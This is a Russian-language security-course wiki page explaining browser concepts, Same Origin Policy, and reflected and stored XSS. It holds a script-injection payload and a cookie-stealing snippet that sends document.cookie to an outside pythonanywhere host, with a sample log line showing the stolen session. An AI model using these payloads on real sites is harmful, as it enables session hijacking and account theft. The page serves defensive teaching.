Веб-безопасность/Уязвимости XSS

Материал из SecSem Wiki
Перейти к навигации Перейти к поиску

Клиентская сторона

Браузер

Браузер, или веб-обозреватель — прикладное программное обеспечение для просмотра страниц, содержания веб-документов, компьютерных файлов и их каталогов; управления веб-приложениями; а также для решения других задач. В глобальной сети браузеры используют для запроса, обработки, манипулирования и отображения содержания веб-сайтов.

HTML

HTML — стандартизированный язык разметки документов во Всемирной паутине. Большинство веб-страниц содержат описание разметки на языке HTML (или XHTML). Язык HTML интерпретируется браузерами; полученный в результате интерпретации форматированный текст отображается на экране монитора компьютера или мобильного устройства.

Document Object Model

DOM (Document Object Model — «объектная модель документа») — не зависящий от платформы и языка программный интерфейс, позволяющий программам и скриптам получить доступ к содержимому HTML-, XHTML- и XML-документов, а также изменять содержимое, структуру и оформление таких документов. Пример:

html-страница:

Html examle com.png

её dom-дерево:

Dom example com.png

  • Каждый узел этого дерева – это объект.
  • Теги являются узлами-элементами (или просто элементами). Они образуют структуру дерева: <html> – это корневой узел, <head> и <body> его дочерние узлы и т.д.
  • Если браузер сталкивается с некорректно написанным HTML-кодом, он автоматически корректирует его при построении DOM.
  • Например, в начале документа всегда должен быть тег <html>. Даже если его нет в документе – он будет в дереве DOM, браузер его создаст. То же самое касается и тега <body>.

JavaScript

JavaScript

JavaScript — мультипарадигменный язык программирования. Поддерживает объектно-ориентированный, императивный и функциональный стили. Является реализацией языка ECMAScript. JavaScript обычно используется как встраиваемый язык для программного доступа к объектам приложений. Наиболее широкое применение находит в браузерах как язык сценариев для придания интерактивности веб-страницам. Сегодня JavaScript может выполняться не только в браузере, но и на сервере или на любом другом устройстве, которое имеет специальную программу, называющуюся «движком» JavaScript. У браузера есть собственный движок, который иногда называют «виртуальная машина JavaScript»:

  1. V8 – в Chrome и Opera
  2. SpiderMonkey – в Firefox
  3. ...

Что может JavaScript в браузере?

  1. Добавлять новый HTML-код на страницу, изменять существующее содержимое, модифицировать стили.
  2. Реагировать на действия пользователя, щелчки мыши, перемещения указателя, нажатия клавиш.
  3. Отправлять сетевые запросы на удалённые сервера, скачивать и загружать файлы.
  4. Получать и устанавливать куки, задавать вопросы посетителю, показывать сообщения.
  5. Запоминать данные на стороне клиента.

Browser Object Model

JavaSript может взаимодействовать с dom (через window.document или document), а так же с BOM. Объектная модель браузера (Browser Object Model, BOM) – это дополнительные объекты, предоставляемые браузером (окружением), чтобы работать со всем, кроме документа. Приведем два примера использования BOM:

  1. Объект navigator даёт информацию о самом браузере и операционной системе. Среди множества его свойств самыми известными являются: window.navigator.userAgent – информация о текущем браузере, и window.navigator.platform – информация о платформе (может помочь в понимании того, в какой ОС открыт браузер – Windows/Linux/Mac и так далее).
  2. Объект window.location позволяет получить текущий URL и перенаправить браузер по новому адресу.

Same Origin Policy

Политика «Одинакового источника» (Same Origin Policy) ограничивает доступ окон и фреймов друг к другу. Идея заключается в том, что если у пользователя открыто две страницы: john-smith.com и gmail.com, то у скрипта со страницы john-smith.com не будет возможности прочитать письма из gmail.com. Таким образом, задача политики «Одинакового источника» – защитить данные пользователя от возможной кражи. Два URL считаются имеющим один источник («same origin»), если у них одинаковый:

  • протокол
  • домен
  • порт

Для иллюстрации, следующий список даёт обзор типичных проверок для сравнения с примером URL «http://www.example.com/dir/page.html».

  1. http://www.example.com/dir/page.html - соответствует
  2. http://www.example.com/dir2/other.html - соответствует
  3. http://username:password@www.example.com/dir2/other.html - соответствует
  4. http://www.example.com:81/dir/other.html - не соответствует, тот же протокол и домен, но другой порт
  5. https://www.example.com/dir/other.html - не соответствует, отличается протокол
  6. http://en.example.com/dir/other.html - не соответствует, отличается домен
  7. http://example.com/dir/other.html - не соответствует, отличается домен
  8. http://v2.www.example.com/dir/other.html - не соответствует, отличается домен
  9. http://www.example.com:80/dir/other.html - не определено, явное указание порта, зависит от реализации в браузере.


После введения определения Same Origin Policy, перечислим ниже, чего не может делать JavaSript:

  1. Различные окна/вкладки не знают друг о друге. Иногда одно окно, используя JavaScript, открывает другое окно. Но даже в этом случае JavaScript с одной страницы не имеет доступа к другой, если они пришли с разных сайтов (с другого домена, протокола или порта).
  2. JavaScript на веб-странице не может читать/записывать произвольные файлы на жёстком диске, копировать их или запускать программы. Он не имеет прямого доступа к системным функциям ОС.
  3. JavaScript может легко взаимодействовать с сервером, с которого пришла текущая страница. Но его способность получать данные с других сайтов/доменов ограничена. Хотя это возможно в принципе, для чего требуется явное согласие (выраженное в заголовках HTTP) с удалённой стороной. Опять же, это ограничение безопасности.

XSS

XSS (Cross-Site-Scripting) — тип атаки на веб-приложение, заключающийся во внедрении в ответ веб-приложения вредоносного кода, который будет выполнен на компьютере пользователя при открытии им этой страницы.

XSS занимает 7 позицию в рейтинге OWASP Top 10 от 2017 года.

Рассмотрим подробнее два типа XSS:

  • Reflected XSS
  • Stored XSS


Reflected XSS

Простейшим вариантом XSS является Reflected XSS (также называемый XSS типа 1), при которой часть запроса на сайт включается без достаточной фильтрации (например, вообще без изменений) в ответ на этот запрос.

Представим себе простой сайт со следующим кодом страницы:

<html>
<head>
<title>Domain with XSS</title>
...
<a href="/show?id=1">View first</a>
...
</body>
</html>


Обратим внимание на следующую строку из кода страницы:

<a href="/show?id=1">View first</a>

Данная строка размещает на странице ссылку с названием "View first".

Можно представить, что наш сайт - это сайт интернет-магазина и такая ссылка - это ссылка на страничку с конкретным товаром. Пусть данная ссылка на страничке генерируется следующим образом:

  1. Пользователь переходит на наш сайт по ссылке https://my_site_with_xss.org/show?id=(НЕКОТОРЫЙ_ID);
  2. В ответ он получает страничку, содержащую ссылку на запрошенный товар: <a href="/show?id=(ВВЕДЁННЫЙ ID)">View first</a> и ещё какую-то информацию, к примеру, рекламу.

Таки образом id формируется из пользовательского ввода.

Теперь предположим, что пользователь вводит вместо ID следующую строку: 1"><script>alert(1)</script><a id=". Это приведёт к тому, что на страничке появится код следующего вида: <a href="/show?id="1"><script>alert(1)</script><a id="">View first</a>, а код самой странички будет выглядеть так:

<html>
<head>
<title>Domain with XSS</title>
...
<a href="/show?id="1"><script>alert(1)</script><a id="">View first</a></code>
...
</body>
</html>

Что же произошло? Обратим внимание на появившийся на страничке код <script>alert(1)</script>. Пользователь внедрил в код страницы (или другими словами произвёл инъекцию) свой JavaScript!


Stored XSS

Stored XSS (или XSS типа 2) имеет место, когда атакующий JS-код сохраняется на сервере и возвращается не в ответ на запрос, передающий этот код (или не только на него), но и на другие запросы, уже не содержащие атаку. На стенде Примером может служить общий чат, где текст личного сообщения никак не фильтруется и подставляется в страницу входящих сообщений as-is (что позволяет внедрить произвольный JS-код). Stored XSS намного опаснее, т. к., во-первых, вредоносный код сохраняется на сервере и может отработать несколько раз без дополнительных действий со стороны атакующего, во-вторых, жертва не должна как-то "подыгрывать" атакующему, переходя по подозрительным ссылкам или заходя на недоверенные сайты; жертва может делать вполне обычные действия, посещая вполне легитимные страницы сайта (в данном случае - просматривая личные сообщения) и при этом подвергнуться атаке.

Эксплуатация XSS

Конкретнее, атакующий может

  • получить cookie через свойство document.cookie. По умолчанию JavaScript-код может считывать значения кук и менять их. Это простейший способ эксплуатации XSS, после кражи сессионного идентификатора атакующий может просто уже самостоятельно делать запросы, передавая его в заголовке Cookie, сайт будет воспринимать эти запросы как пришедшие от пользователя-жертвы, так что дальше атакующий сможет получить доступ ко всем данным жертвы, просто запрашивая их. Чтение куки из JS-кода можно запретить, выставив атрибут куки HttpOnly (MDN, OWASP), он выставляется вместе с кукой в заголовке ответа Set-Cookie: session=eyJ1c2VyIjoibGlsIiwidXNlcl9pZCI6M30.XI9rjw.-tX3LIQ-cwyUnNlOuQqyVXBu99A; HttpOnly; Path=/. Проверить, сработает ли кража куки можно, залогинившись и обратившись к document.cookie (в браузерной консоли или по-другому из JS кода).
  • читать (и изменять) страницу, на которой выполняется JS-код. JavaScript-код может произвольным образом манипулировать страницей, используя интерфейс Document Object Model (DOM, википедия, MDN). К примеру, весь HTML-код страницы можно считать таким кодом var wholePage = document.documentElement.outerHTML;
  • делать HTTP-запросы к сайту и читать ответы на них, используя XMLHttpRequest и fetch
  • выводить считанные данные на сервер атакующего. Как уже обсуждалось выше, JS-код на странице может делать запросы к другим сайтам (по умолчанию читать ответы не получится, но, во-первых, для вывода украденных данных достаточно сделать запрос, во-вторых, в крайнем случае атакующий может включить на своём cервере CORS).
    • Для отправки запроса, содержащего украденные данные, можно использовать XMLHttpRequest/fetch
    • есть еще более простой трюк - создать в JS-коде изображение с URL, хостом которого будет сервер атакующего, а в пути или query string будут украденные данные. При попытке загрузить изображение по этому URL браузер отправит запрос, включающий украденные данные, атакующий увидит его, скажем, в логах своего сервера. Например, такой код var i = new Image;var stolenCookie = document.cookie; i.src = 'https://utkautkautkautkautka.pythonanywhere.com/stolen?data=' + stolenCookie приведёт к тому что браузер откроет URL https://utkautkautkautkautka.pythonanywhere.com/stolen?data=session=eyJ1c2VyIjoibGlsIiwidXNlcl9pZCI6M30.D3EBFA.F9g-ANJQvCGlewtSVEbYIYfyLXk и а логах этого сервера появится запись "GET /stolen?data=session=eyJ1c2VyIjoibGlsIiwidXNlcl9pZCI6M30.D3EBFA.F9g-ANJQvCGlewtSVEbYIYfyLXk HTTP/1.1" 404, содержащая украденную куку.
    • При выводе данных атакующему может помогать кодировать данные (чтобы, скажем, они не образались по какому-нибудь символу-разделителю). Очень полезна функция btoa, которая кодирует строку в base64. Другим вариантом может быть URL-кодирование (encodeURIComponent).


К чему приводит XSS

Вспомним, что может делать JavaScript в браузере:

  • Добавлять новый HTML-код на страницу, изменять существующее содержимое, модифицировать стили
  • Реагировать на действия пользователя, щелчки мыши, перемещения указателя, нажатия клавиш
  • Отправлять сетевые запросы на удалённые сервера, скачивать и загружать файлы
  • Получать и устанавливать куки, задавать вопросы посетителю, показывать сообщения
  • ...

Таким образом, выполнение произвольного JavaScript кода, внедрённого в код странички сайта злоумышленником, в браузере пользователя может приводить к большим проблемам. Например, злоумышленник может угнать аккаунт пользователя или украсть секретные данные. Но об этом позже, а сейчас попробуем разобраться с тем, чем же отличаются различные типы XSS.

Ключевые отличия различных типов XSS

  1. Reflected XSS - атакуемый должен перейти по ссылке, сформированной злоумышленником.
  2. Stored XSS - приложение хранит пользовательский ввод в некотором хранилище (например, в базе данных).


Как поднять сервер

В процессе анализа веб-приложения на безопасность (как в общем-то и на предмет других свойств) бывает полезно поднять свой тестовый сервер с кусочком анализируемого приложения или просто каким-то своим экспериментальным кодом. Локально:

python -m SimpleHTTPServer
python3 -m http.server
php -S localhost:8000

В интернете:

  • https://www.pythonanywhere.com/ - c его помощью можно поднять бесплатно Полноценное веб-приложение, доступное через интернет. Там есть всё необходимое - можно размещать как статический, так и динамический контент, смотреть логи.
  • https://requestbin.fullcontact.com/ - более простая штука, если вам нужно просто принять запрос и посмотреть, какие данные в нём пришли, можно использовать requestbin или аналогичные сервисы. Был замечен, к сожалению, в нестабильной работе.

Ссылки